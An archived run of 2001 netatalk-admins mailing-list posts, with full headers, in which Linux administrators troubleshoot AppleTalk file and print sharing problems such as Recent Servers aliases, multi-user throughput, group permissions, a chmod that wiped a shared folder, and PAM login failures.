    :pr=|/usr/bin/lpr -Plp:
    
Yup, that did it.  Many thanks.

This seems like a bug in papd.  Anybody making noise about fixing it
in a future release?


From netatalk.administrators-errors@umich.edu  Mon Oct  1 15:15:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA25469
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 1 Oct 2001 15:15:12 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA05953
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 1 Oct 2001 15:15:12 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA05939
	for netatalk.administrators-members@umich.edu; Mon, 1 Oct 2001 15:15:11 -0400 (EDT)
Received: from spowers.net (216-166-231-125.madisonriver.net [216.166.231.125] (may be forged))
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA05738
	for <netatalk-admins@umich.edu>; Mon, 1 Oct 2001 15:15:09 -0400 (EDT)
Received: from [155.44.97.114] (work.wagnerone.com [155.44.97.114] (may be forged))
	by spowers.net (8.11.2/8.11.2) with ESMTP id f91JF7G31501
	for <netatalk-admins@umich.edu>; Mon, 1 Oct 2001 15:15:08 -0400
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Mon, 01 Oct 2001 14:14:48 -0500
Subject: recent servers items do not function properly
From: Wagner One <wagner@wagnerone.com>
To: Netatalk Admin <netatalk-admins@umich.edu>
Message-ID: <B7DE2AD8.11689%wagner@wagnerone.com>
In-Reply-To: <4.1.20010929222602.00968cb0@pop.freeserve.net>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I am running two netatalk servers via linux boxen. one is a very old version
of netatalk on a old rh linux distribution. One is the latest sourceforge
version (not the CVS) version of netatalk running on a very recent rh7.1
distribution.

In the same zone we are running a native, Appleshare IP server (6.3 i
believe) on Apple hardware.

Recent Servers items from the ASIP/Apple server on the clients are rock
solid, always function as expected. Recent Servers items resulting from
mounting volumes on the netatalk servers always fail stating that the shared
volume cannot be found on the network.

I don't recall this as problem on the current old server or previous setups
on other machines that no longer exist. However, with the latest netatalk
src on this rh7.1 machine, the situation has cropped up.

I had empty afpd.conf to begin with and tried adding some items to the
default server directives in order to troubleshoot with no luck. I killed
atalkd and just ran afpd with no luck. I could mount the server volumes via
ip in the Chooser, but the resulting Recent Servers items still do no work.

Does this sound familiar to anyone? Searchs of "Recent Servers" through the
archives didn't turn up anything, so it may not be. Hope it is something
I've just overlooked.

Thanks in advance,
Mike

-- 
wagner@enteract.com, wagner@well.com, wagner@teamschoeps.org
"Music self-played is happiness self-made."


From netatalk.administrators-errors@umich.edu  Mon Oct  1 15:27:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA26105
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 1 Oct 2001 15:27:24 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA23585
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 1 Oct 2001 15:27:24 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA23567
	for netatalk.administrators-members@umich.edu; Mon, 1 Oct 2001 15:27:23 -0400 (EDT)
Received: from mail49.fg.online.no (mail49-s.fg.online.no [148.122.161.49])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA23461
	for <netatalk-admins@umich.edu>; Mon, 1 Oct 2001 15:27:21 -0400 (EDT)
Received: from 130.67.50.127 (ti100710a065-0127.dialup.online.no [130.67.50.127])
	by mail49.fg.online.no (8.9.3/8.9.3) with SMTP id VAA28972
	for <netatalk-admins@umich.edu>; Mon, 1 Oct 2001 21:27:18 +0200 (MET DST)
Date: 01 Oct 2001 21:23:31 +0200
Message-ID: <937332550gjermund@mac.com>
From: Gjermund G Thorsen <gjermund@mac.com>
Subject: Re: recent servers items do not function properly
To: <netatalk-admins@umich.edu>
X-Mailer: QuickMail Pro 2.1 (Mac)
X-Priority: 3
MIME-Version: 1.0
Reply-To: Gjermund G Thorsen <gjermund@mac.com>
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id PAA26105

make sure you config the server:

-noddp -tcp

and have set current amount of clients to an appropriate number, if higher than 5!
-- 
Yours Sincerely,

Gjermund Gusland Thorsen



"Im just sitting here listening to the scream of the butterfly"

On mandag 1. oktober 2001 21:14, Wagner One <wagner@wagnerone.com> wrote:
>I am running two netatalk servers via linux boxen. one is a very old version
>of netatalk on a old rh linux distribution. One is the latest sourceforge
>version (not the CVS) version of netatalk running on a very recent rh7.1
>distribution.
>
>In the same zone we are running a native, Appleshare IP server (6.3 i
>believe) on Apple hardware.
>
>Recent Servers items from the ASIP/Apple server on the clients are rock
>solid, always function as expected. Recent Servers items resulting from
>mounting volumes on the netatalk servers always fail stating that the shared
>volume cannot be found on the network.
>
>I don't recall this as problem on the current old server or previous setups
>on other machines that no longer exist. However, with the latest netatalk
>src on this rh7.1 machine, the situation has cropped up.
>
>I had empty afpd.conf to begin with and tried adding some items to the
>default server directives in order to troubleshoot with no luck. I killed
>atalkd and just ran afpd with no luck. I could mount the server volumes via
>ip in the Chooser, but the resulting Recent Servers items still
>do no work.
>
>Does this sound familiar to anyone? Searchs of "Recent Servers" through the
>archives didn't turn up anything, so it may not be. Hope it is something
>I've just overlooked.
>
>Thanks in advance,
>Mike
>
>-- 
>wagner@enteract.com, wagner@well.com, wagner@teamschoeps.org
>"Music self-played is happiness self-made."
>


From netatalk.administrators-errors@umich.edu  Mon Oct  1 20:24:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA12177
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 1 Oct 2001 20:24:57 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id UAA29652
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 1 Oct 2001 20:24:57 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id UAA29642
	for netatalk.administrators-members@umich.edu; Mon, 1 Oct 2001 20:24:56 -0400 (EDT)
Received: from rival.cmgraphics.net (mail.cmgraphics.net [205.150.212.2])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id UAA29609
	for <netatalk-admins@umich.edu>; Mon, 1 Oct 2001 20:24:55 -0400 (EDT)
Received: from jasonzegdusv3b ([205.150.212.5])
	by rival.cmgraphics.net (8.10.2+Sun/8.10.2) with SMTP id f920NZQ22913
	for <netatalk-admins@umich.edu>; Mon, 1 Oct 2001 20:23:35 -0400 (EDT)
Message-ID: <001001c14ad8$a1ff2990$05d496cd@jasonzegdusv3b>
From: "Jason Lam" <lamj@cmgraphics.net>
To: <netatalk-admins@umich.edu>
Subject: Performance problem with multi-user
Date: Mon, 1 Oct 2001 20:24:42 -0400
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

I am trying to build a high performance netatalk server for serveral Mac
clients. The initial test with single clients yield more than 10MB/s which
was amazing. However, when testing with multi concurrent user, the test
results are not very impressive.

On Linux server side, I have an Adaptec 29160 controller hooked up with an
IBM 10K 36G HDD running at 160MB/s. When doing hdparm, I got the following
results.

/dev/sda1:
 Timing buffer-cache reads:   128 MB in  0.99 seconds =129.29 MB/sec
 Timing buffered disk reads:  64 MB in  1.88 seconds = 34.04 MB/sec

This mean I should have enough I/O performance for two concurrent user to be
going full speed. And I have a gigabit ethernet card hooked up to a switch.

On the Mac side, it's G4 and 10/100 network card.

When doing concurrent download, both clients login with same username and
download different files. I only get about 5.7MB/s on each one which is like
a 10/100 shared performance. I was thinking about problem with gigabit
network interface at that point, so I did another test, created another user
whose home dir is on another IDE HDD. (Similar result when testing on IDE
drive alone) When I do the concurrently download, I am able to get about
10MB/s from each of the workstation.

This tells me I am not having problem with the network card but some other
multi-user problem with regard to I/O on a single device. BTW, kernel
version is 2.4.9 and netatalk is 1.5pre6.

Can anyone suggest where to start performance tuning this server? Did I miss
anything plain and stupid (my setup are pretty much stock). A few things
that came to my mind is bdflush and elvtune, can anyone supply some example
settings that works great with netatalk?

Any suggestions to tuning the performance of this server will be greatly
appreciated.

Jason Lam


From netatalk.administrators-errors@umich.edu  Mon Oct  1 21:14:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA13652
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 1 Oct 2001 21:14:51 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA21802
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 1 Oct 2001 21:14:51 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA21782
	for netatalk.administrators-members@umich.edu; Mon, 1 Oct 2001 21:14:50 -0400 (EDT)
Received: from newns.potsdam.edu (potsdam.edu [137.143.110.102])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id VAA21740
	for <netatalk-admins@umich.edu>; Mon, 1 Oct 2001 21:14:48 -0400 (EDT)
Received: (qmail 1321 invoked from network); 2 Oct 2001 01:12:12 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by 0 with SMTP; 2 Oct 2001 01:12:12 -0000
Subject: Re: Performance problem with multi-user
From: Matthew Keller <kellermg@potsdam.edu>
To: Jason Lam <lamj@cmgraphics.net>
Cc: netatalk-admins@umich.edu
In-Reply-To: <001001c14ad8$a1ff2990$05d496cd@jasonzegdusv3b>
References: <001001c14ad8$a1ff2990$05d496cd@jasonzegdusv3b>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/0.14.99+cvs.2001.09.30.08.08 (Preview Release)
Date: 01 Oct 2001 21:14:38 -0400
Message-Id: <1001985278.14962.89.camel@comp10574.potsdam.edu>
Mime-Version: 1.0


Few things: 
	1) 2.4.9 kernel + Ext2fs (which I'm assuming you're using) has some I/O
issues **ESPECIALLY** if you've got quota's enabled. Try disabling
quotas if active. Also, upgrade to 2.4.10 when possible.
	2) Is sda1 your root disk? Performance will always be worse on those
because of other I/O ops related to running the OS (esp if X is running)
	3) Try the same tests using a different protocol (HTTP, SMB) -- If
other servers serve the same concurrency at better rates, or not, it
tells you something. This is comparing apples and oranges (excuse the
pun) but the statistic ratios should be nearly the same.
	4) I hope you're using ASIP to do this transfer and not AppleTalk -- If
not, please do.

On Mon, 2001-10-01 at 20:24, Jason Lam wrote:
> I am trying to build a high performance netatalk server for serveral Mac
> clients. The initial test with single clients yield more than 10MB/s which
> was amazing. However, when testing with multi concurrent user, the test
> results are not very impressive.
> 
> On Linux server side, I have an Adaptec 29160 controller hooked up with an
> IBM 10K 36G HDD running at 160MB/s. When doing hdparm, I got the following
> results.
> 
> /dev/sda1:
>  Timing buffer-cache reads:   128 MB in  0.99 seconds =129.29 MB/sec
>  Timing buffered disk reads:  64 MB in  1.88 seconds = 34.04 MB/sec
> 
> This mean I should have enough I/O performance for two concurrent user to be
> going full speed. And I have a gigabit ethernet card hooked up to a switch.
> 
> On the Mac side, it's G4 and 10/100 network card.
> 
> When doing concurrent download, both clients login with same username and
> download different files. I only get about 5.7MB/s on each one which is like
> a 10/100 shared performance. I was thinking about problem with gigabit
> network interface at that point, so I did another test, created another user
> whose home dir is on another IDE HDD. (Similar result when testing on IDE
> drive alone) When I do the concurrently download, I am able to get about
> 10MB/s from each of the workstation.
> 
> This tells me I am not having problem with the network card but some other
> multi-user problem with regard to I/O on a single device. BTW, kernel
> version is 2.4.9 and netatalk is 1.5pre6.
> 
> Can anyone suggest where to start performance tuning this server? Did I miss
> anything plain and stupid (my setup are pretty much stock). A few things
> that came to my mind is bdflush and elvtune, can anyone supply some example
> settings that works great with netatalk?
> 
> Any suggestions to tuning the performance of this server will be greatly
> appreciated.
> 
> Jason Lam
> 
> 
-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Tue Oct  2 03:47:45 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA27845
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 2 Oct 2001 03:47:45 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id DAA22891
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 2 Oct 2001 03:47:45 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id DAA22883
	for netatalk.administrators-members@umich.edu; Tue, 2 Oct 2001 03:47:45 -0400 (EDT)
Received: from mail46.fg.online.no (mail46-s.fg.online.no [148.122.161.46])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id DAA22861
	for <netatalk-admins@umich.edu>; Tue, 2 Oct 2001 03:47:43 -0400 (EDT)
Received: from 130.67.10.207 (ti100710a062-0333.dialup.online.no [130.67.10.207])
	by mail46.fg.online.no (8.9.3/8.9.3) with SMTP id JAA18499
	for <netatalk-admins@umich.edu>; Tue, 2 Oct 2001 09:47:41 +0200 (MET DST)
Resent-Date: Tue, 2 Oct 2001 09:47:41 +0200 (MET DST)
Resent-Message-Id: <200110020747.JAA18499@mail46.fg.online.no>
Date: 02 Oct 2001 09:43:53 +0200
Message-ID: <937376920gjermund@mac.com>
From: Gjermund Gusland Thorsen <90167484@mobilpost.com>
Resent-From: Gjermund G Thorsen <gjermund@mac.com>
Subject: @macusers
To: <netatalk-admins@umich.edu>
X-Mailer: QuickMail Pro 2.1 (Mac)
X-Priority: 3
MIME-Version: 1.0
Reply-To: Gjermund Gusland Thorsen <90167484@mobilpost.com>
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id DAA27845

Im still running netatalk1.4b2+asun2.1.6-patch

I would really like to set access privileges by group, so that I only have to make new users members of a certain group to give them access....

for example, @macusers as in the sample file...

This does not seem to work ;-(
-- 
Yours Sincerely,

Gjermund Gusland Thorsen



"Here is wisdom. Let him that hath understanding count the number of the beast: for it is the number of a man; and his number is Six hundred threescore and six.And I looked, and, lo, a Lamb stood on the mount Sion, and with him an hundred forty and four thousand, having his Father's name written in their foreheads." - Revelation 13, 18


From netatalk.administrators-errors@umich.edu  Tue Oct  2 04:33:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA29304
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 2 Oct 2001 04:33:47 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id EAA07635
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 2 Oct 2001 04:33:47 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id EAA07619
	for netatalk.administrators-members@umich.edu; Tue, 2 Oct 2001 04:33:47 -0400 (EDT)
Received: from smtpout.mac.com (smtpout.mac.com [204.179.120.88])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id EAA07582
	for <netatalk-admins@umich.edu>; Tue, 2 Oct 2001 04:33:46 -0400 (EDT)
Received: by smtpout.mac.com; Tue, 2 Oct 2001 01:32:48 -0700 (PDT)
Received: from asmtp01.mac.com ([10.13.10.65]) by
          smtp-relay01.mac.com (Netscape Messaging Server 4.15 relay01 Jun
          21 2001 23:53:48) with ESMTP id GKKL2N00.QKN for
          <netatalk-admins@umich.edu>; Tue, 2 Oct 2001 01:32:47 -0700 
Received: from localhost ([62.175.33.99]) by asmtp01.mac.com
          (Netscape Messaging Server 4.15 asmtp01 Jun 21 2001 23:53:48)
          with ESMTP id GKKL2M00.A5B; Tue, 2 Oct 2001 01:32:46 -0700 
Date: Tue, 2 Oct 2001 10:32:43 +0200
Subject: Re: @macusers
Content-Type: text/plain; charset=WINDOWS-1252; format=flowed
Mime-Version: 1.0 (Apple Message framework v468)
Cc: <netatalk-admins@umich.edu>
To: Gjermund Gusland Thorsen <90167484@mobilpost.com>
From: Jason Quigley <jasonq@mac.com>
In-Reply-To: <937376920gjermund@mac.com>
Message-Id: <0C946166-B710-11D5-B124-000A277D821C@mac.com>
X-Mailer: Apple Mail (2.468)
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id EAA29304

Hi Gjermund!

Can you send a copy of your AppleVolumes.default file?

Cheers,
Jason.

On Tuesday, October 2, 2001, at 09:43 , Gjermund Gusland Thorsen wrote:

> Im still running netatalk1.4b2+asun2.1.6-patch
>
> I would really like to set access privileges by group, so that I only 
> have to make new users members of a certain group to give them 
> access....
>
> for example, @macusers as in the sample file...
>
> This does not seem to work ;-(
> --
> Yours Sincerely,
>
> Gjermund Gusland Thorsen
>
>
>
> "Here is wisdom. Let him that hath understanding count the number of 
> the beast: for it is the number of a man; and his number is Six hundred 
> threescore and six.And I looked, and, lo, a Lamb stood on the mount 
> Sion, and with him an hundred forty and four thousand, having his 
> Father's name written in their foreheads." - Revelation 13, 18
>


From netatalk.administrators-errors@umich.edu  Tue Oct  2 07:20:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA03914
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 2 Oct 2001 07:20:31 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA10173
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 2 Oct 2001 07:20:31 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA10165
	for netatalk.administrators-members@umich.edu; Tue, 2 Oct 2001 07:20:31 -0400 (EDT)
Received: from web20702.mail.yahoo.com (web20702.mail.yahoo.com [216.136.226.175])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id HAA10133
	for <netatalk-admins@umich.edu>; Tue, 2 Oct 2001 07:20:30 -0400 (EDT)
Message-ID: <20011002112029.74239.qmail@web20702.mail.yahoo.com>
Received: from [24.177.69.74] by web20702.mail.yahoo.com via HTTP; Tue, 02 Oct 2001 04:20:29 PDT
Date: Tue, 2 Oct 2001 04:20:29 -0700 (PDT)
From: Dave Ritter <dave_ritter@yahoo.com>
Reply-To: dave.ritter@newtimes.com
Subject: Re: recent servers items do not function properly
To: wagner@wagnerone.com, Netatalk Admin <netatalk-admins@umich.edu>
In-Reply-To: <007F6BC9.C22266@wagnerone.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

The "Recent Servers" function uses aliases of previously mounted
volumes, some people seem to have no problems with aliases and
others have BIG problems with aliases (mostly pointing to the wrong
file or folder after a reboot).

Are aliases working in your setup? Do they work correctly after the
client mac reboots? Does an alias made on one client work correctly
when used on another client?

If any netatalk developers are reading this;

Has there been any progress in fixing the alias problem in
netatalk? The Mac OS is starting to use aliases in normal system
functions so it becomes much harder to just tell users "don't use
aliases" when dealing with netatalk volumes.

Dave Ritter


--- wagner@wagnerone.com wrote:
> I am running two netatalk servers via linux boxen. one is a very
> old version
> of netatalk on a old rh linux distribution. One is the latest
> sourceforge
> version (not the CVS) version of netatalk running on a very
> recent rh7.1
> distribution.
> 
> In the same zone we are running a native, Appleshare IP server
> (6.3 i
> believe) on Apple hardware.
> 
> Recent Servers items from the ASIP/Apple server on the clients
> are rock
> solid, always function as expected. Recent Servers items
> resulting from
> mounting volumes on the netatalk servers always fail stating that
> the shared
> volume cannot be found on the network.
> 
> I don't recall this as problem on the current old server or
> previous setups
> on other machines that no longer exist. However, with the latest
> netatalk
> src on this rh7.1 machine, the situation has cropped up.
> 
> I had empty afpd.conf to begin with and tried adding some items
> to the
> default server directives in order to troubleshoot with no luck.
> I killed
> atalkd and just ran afpd with no luck. I could mount the server
> volumes via
> ip in the Chooser, but the resulting Recent Servers items still
> do no work.
> 
> Does this sound familiar to anyone? Searchs of "Recent Servers"
> through the
> archives didn't turn up anything, so it may not be. Hope it is
> something
> I've just overlooked.
> 
> Thanks in advance,
> Mike
> 
> -- 
> wagner@enteract.com, wagner@well.com, wagner@teamschoeps.org
> "Music self-played is happiness self-made."


__________________________________________________
Do You Yahoo!?
Listen to your Yahoo! Mail messages from any phone.
http://phone.yahoo.com

From netatalk.administrators-errors@umich.edu  Tue Oct  2 11:34:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA13888
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 2 Oct 2001 11:34:44 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA08271
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 2 Oct 2001 11:34:44 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA08258
	for netatalk.administrators-members@umich.edu; Tue, 2 Oct 2001 11:34:44 -0400 (EDT)
Received: from mail.artshouse.com (H114.C214.tor.velocet.net [216.138.214.114])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA08197
	for <netatalk-admins@umich.edu>; Tue, 2 Oct 2001 11:34:42 -0400 (EDT)
Received: from [192.168.0.16] ( [192.168.0.16] (may be forged))
	by mail.artshouse.com (8.9.3/8.9.3) with ESMTP id MAA10772
	for <netatalk-admins@umich.edu>; Tue, 2 Oct 2001 12:02:14 -0400
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Tue, 02 Oct 2001 11:34:46 -0400
Subject: chmod 777 deleted files!
From: Mark Guertin <mark@artshouse.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B7DF56D6.8E8%mark@artshouse.com>
Mime-version: 1.0
Content-type: multipart/alternative; boundary="B_3084867286_133926"

> This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

--B_3084867286_133926
Content-type: text/plain; charset="ISO-8859-1"
Content-transfer-encoding: quoted-printable

Hey all

I have setup a file sharing server, and because of permission problems I
setup a script (bash) that =8Cadjusts=B9 file permissions by doing chmod 777 =ADR
<dir> when a user checks out files (php/mysql driven web forms)

For some unknown reason it now completely and unrecoverable DELETES the
entire dir.  So warning for everyone out there, be cautious, luckily I have
backups from last night, but this could be disastrous!!  I recreated this
with another directory, so it=B9s not a fluke, and the second one I didn=B9t us=
e
the script, but did it manually.  It complains about the .Parent then
proceeds to nuke all the files recursively, not even leaving .Appledouble o=
r
any kind of trace behind or any kind of notification.

Why oh why is netatalk so damn complicated always?  Spent a month trying to
get a version that actually works, then it does this...Sorry to vent, just
wanted everyone to be aware of this.

This is with CVS from early last week (the only version that would run
properly on slackware 8 with the --with-flock-locks fixes as of yet)


Mark

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Mark Guertin, IT Manager
Artshouse Communications Inc.
345 Adelaide Street West, Main Floor
Toronto, ON, Canada   M5V 1R5
Phone (416) 340-6284 x222
Fax - (416) 581-1252


--B_3084867286_133926
Content-type: text/html; charset="ISO-8859-1"
Content-transfer-encoding: quoted-printable

<HTML>
<HEAD>
<TITLE>chmod 777 deleted files!</TITLE>
</HEAD>
<BODY>
<FONT FACE=3D"Verdana">Hey all<BR>
<BR>
I have setup a file sharing server, and because of permission problems I se=
tup a script (bash) that &#8216;adjusts&#8217; file permissions by doing chm=
od 777 &#8211;R &lt;dir&gt; when a user checks out files (php/mysql driven w=
eb forms)<BR>
<BR>
For some unknown reason it now completely and unrecoverable DELETES the ent=
ire dir. &nbsp;So warning for everyone out there, be cautious, luckily I hav=
e backups from last night, but this could be disastrous!! &nbsp;I recreated =
this with another directory, so it&#8217;s not a fluke, and the second one I=
 didn&#8217;t use the script, but did it manually. &nbsp;It complains about =
the .Parent then proceeds to nuke all the files recursively, not even leavin=
g .Appledouble or any kind of trace behind or any kind of notification.<BR>
<BR>
Why oh why is netatalk so damn complicated always? &nbsp;Spent a month tryi=
ng to get a version that actually works, then it does this...Sorry to vent, =
just wanted everyone to be aware of this.<BR>
<BR>
This is with CVS from early last week (the only version that would run prop=
erly on slackware 8 with the --with-flock-locks fixes as of yet)<BR>
<BR>
<BR>
Mark<BR>
<BR>
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D<BR>
Mark Guertin, IT Manager<BR>
Artshouse Communications Inc.<BR>
345 Adelaide Street West, Main Floor<BR>
Toronto, ON, Canada &nbsp;&nbsp;M5V 1R5<BR>
Phone (416) 340-6284 x222<BR>
Fax - (416) 581-1252<BR>
</FONT>
</BODY>
</HTML>


--B_3084867286_133926--


From netatalk.administrators-errors@umich.edu  Tue Oct  2 12:56:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA17913
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 2 Oct 2001 12:56:31 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA21379
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 2 Oct 2001 12:56:31 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA21363
	for netatalk.administrators-members@umich.edu; Tue, 2 Oct 2001 12:56:30 -0400 (EDT)
Received: from mail.artshouse.com (H114.C214.tor.velocet.net [216.138.214.114])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA21323
	for <netatalk-admins@umich.edu>; Tue, 2 Oct 2001 12:56:29 -0400 (EDT)
Received: from [192.168.0.16] ( [192.168.0.16] (may be forged))
	by mail.artshouse.com (8.9.3/8.9.3) with ESMTP id NAA11274
	for <netatalk-admins@umich.edu>; Tue, 2 Oct 2001 13:24:02 -0400
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Tue, 02 Oct 2001 12:56:34 -0400
Subject: --without-pam broken in latest CVS again? And file list cacheing
	weirdness
From: Mark Guertin <mark@artshouse.com>
To: Netatalk Admin List <netatalk-admins@umich.edu>
Message-ID: <B7DF6A01.8ED%mark@artshouse.com>
Mime-version: 1.0
Content-type: multipart/alternative; boundary="B_3084872194_429719"

> This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

--B_3084872194_429719
Content-type: text/plain; charset="ISO-8859-1"
Content-transfer-encoding: quoted-printable

Can anyone verify this?  Having same problems with latest CVS is I did with
pre6, specified =8Bwithout-pam, the configure output shows it is disabling
pam, but I am unable to login with any methods...

Moral of the story, Never try to build a production server with beta
software ;) (I wish it was an option here)

Also found an issue with last week CVS (can=B9t verify in this one yet), but
when manually moving a new directory into the netatalk shared folder, it
seems to pull up a file list from it=B9s last cache..hard to explain, lemme
give you an example.

Directory listing starts like:
Files 1
Files 2

I add a dir called Files 3 (from command line, not thru netatalk/mac), then
it looks like (from apple share):
Files 1
Files 2
Files 3

I remove Files 3 (from command line), it looks like:
Files 1
Files 2

